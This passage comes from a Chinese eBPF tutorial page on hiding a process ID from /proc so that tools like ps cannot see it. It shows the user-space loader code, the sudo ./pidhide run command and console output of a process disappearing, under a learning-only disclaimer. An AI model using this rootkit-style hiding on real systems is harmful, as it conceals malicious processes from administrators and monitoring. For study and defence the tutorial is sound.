if (err)
|
||
{
|
||
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
|
||
goto cleanup;
|
||
}
|
||
</code></pre>
|
||
<p>最后,我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 <code>ring_buffer__poll</code> 函数实现的。在这个过程中,我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有,我们就调用 <code>handle_event</code> 函数来处理这个事件。</p>
|
||
<pre><code class="language-c">printf("Successfully started!\n");
|
||
printf("Hiding PID %d\n", env.pid_to_hide);
|
||
while (!exiting)
|
||
{
|
||
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
|
||
/* Ctrl-C will cause -EINTR */
|
||
if (err == -EINTR)
|
||
{
|
||
err = 0;
|
||
break;
|
||
}
|
||
if (err < 0)
|
||
{
|
||
printf("Error polling perf buffer: %d\n", err);
|
||
break;
|
||
}
|
||
}
|
||
</code></pre>
|
||
<p><code>handle_event</code> 函数中,我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文,事件的数据,以及数据的大小。我们首先将事件的数据转换为 <code>event</code> 结构体,然后根据 <code>success</code> 字段判断这个事件是否表示成功隐藏了一个进程,最后打</p>
|
||
<p>印相应的消息。</p>
|
||
<pre><code class="language-c">static int handle_event(void *ctx, void *data, size_t data_sz)
|
||
{
|
||
const struct event *e = data;
|
||
if (e->success)
|
||
printf("Hid PID from program %d (%s)\n", e->pid, e->comm);
|
||
else
|
||
printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm);
|
||
return 0;
|
||
}
|
||
</code></pre>
|
||
<p>这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序,然后设置我们想要隐藏的进程的 PID,再验证并加载 eBPF 程序,最后等待并处理由 eBPF 程序发送的事件。这个过程中,我们使用了 eBPF 提供的一些高级功能,如环形缓冲区和事件处理,这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。</p>
|
||
<p>完整源代码:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide</a></p>
|
||
<blockquote>
|
||
<p>本文所示技术仅为概念验证,仅供学习使用,严禁用于不符合法律法规要求的场景。</p>
|
||
</blockquote>
|
||
<h2 id="编译运行隐藏-pid"><a class="header" href="#编译运行隐藏-pid">编译运行,隐藏 PID</a></h2>
|
||
<p>首先,我们需要编译 eBPF 程序:</p>
|
||
<pre><code class="language-bash">make
|
||
</code></pre>
|
||
<p>然后,假设我们想要隐藏进程 ID 为 1534 的进程,可以运行如下命令:</p>
|
||
<pre><code class="language-sh">sudo ./pidhide --pid-to-hide 1534
|
||
</code></pre>
|
||
<p>这条命令将使所有尝试读取 <code>/proc/</code> 目录的操作都无法看到 PID 为 1534 的进程。例如,我们可以选择一个进程进行隐藏:</p>
|
||
<pre><code class="language-console">$ ps -aux | grep 1534
|
||
yunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor
|
||
yunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534
|
||
</code></pre>
|
||
<p>此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是,如果我们运行 <code>sudo ./pidhide --pid-to-hide 1534</code>,再次运行 <code>ps -aux | grep 1534</code>,就会发现进程 ID 为 1534 的进程已经不见了。</p>
|
||
<pre><code class="language-console">$ sudo ./pidhide --pid-to-hide 1534
|
||
Hiding PID 1534
|
||
Hid PID from program 31529 (ps)
|
||
Hid PID from program 31551 (ps)
|
||
Hid PID from program 31560 (ps)
|
||
Hid PID from program 31582 (ps)
|
||
Hid PID from program 31582 (ps)
|
||
Hid PID from program 31585 (bash)
|
||
Hid PID from program 31585 (bash)
|
||
Hid PID from program 31609 (bash)
|
||
Hid PID from program 31640 (ps)
|
||
Hid PID from program 31649 (ps)
|
||
</code></pre>
|
||
<p>这个程序将匹配这个 pid 的进程隐藏,使得像 <code>ps</code> 这样的工具无法看到,我们可以通过 <code>ps aux | grep 1534</code> 来验证。</p>
|
||
<pre><code class="language-console">$ ps -aux | grep 1534
|
||
root 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534
|
||
root 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534
|
||
root 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534
|
||
yunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534
|
||
</code></pre>
|
||
<h2 id="总结"><a class="header" href="#总结">总结</a></h2>
|
||
<p>通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。</p>
|
||
<p>您还可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 以获取更多示例和完整的教程。</p>
|
||
<p>接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容,包括如何使用 eBPF 进行网络和系统性能分析,如何编写更复杂的 eBPF 程序以及如何将 eBPF 集成到您的应用中。希望你会在我们的教程中找到有用的信息,进一步提升你的 eBPF 开发技能。</p>
|
||
|
||
</main>
|
||
|
||
<nav class="nav-wrapper" aria-label="Page navigation">
|
||
<!-- Mobile navigation buttons -->
|
||
<a rel="prev" href="../29-sockops/index.html" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
|
||
<i class="fa fa-angle-left"></i>
|
||
</a>
|
||
|
||
<a rel="next" href="../25-signal/index.html" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
|
||
<i class="fa fa-angle-right"></i>
|
||
</a>
|
||
|
||
<div style="clear: both"></div>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
|
||
<nav class="nav-wide-wrapper" aria-label="Page navigation">
|
||
<a rel="prev" href="../29-sockops/index.html" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
|
||
<i class="fa fa-angle-left"></i>
|
||
</a>
|
||
|
||
<a rel="next" href="../25-signal/index.html" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
|
||
<i class="fa fa-angle-right"></i>
|
||
</a>
|
||
</nav>
|
||
|
||
</div>
|
||
|
||
|
||
|
||
|
||
<script>
|
||
window.playground_copyable = true;
|
||
</script>
|
||
|
||
|
||
<script src="../elasticlunr.min.js"></script>
|
||
<script src="../mark.min.js"></script>
|
||
<script src="../searcher.js"></script>
|
||
|
||
<script src="../clipboard.min.js"></script>
|
||
<script src="../highlight.js"></script>
|
||
<script src="../book.js"></script>
|
||
|
||
<!-- Custom JS scripts -->
|
||
|
||
|
||
</div>
|
||
</body>
|
||
</html>
|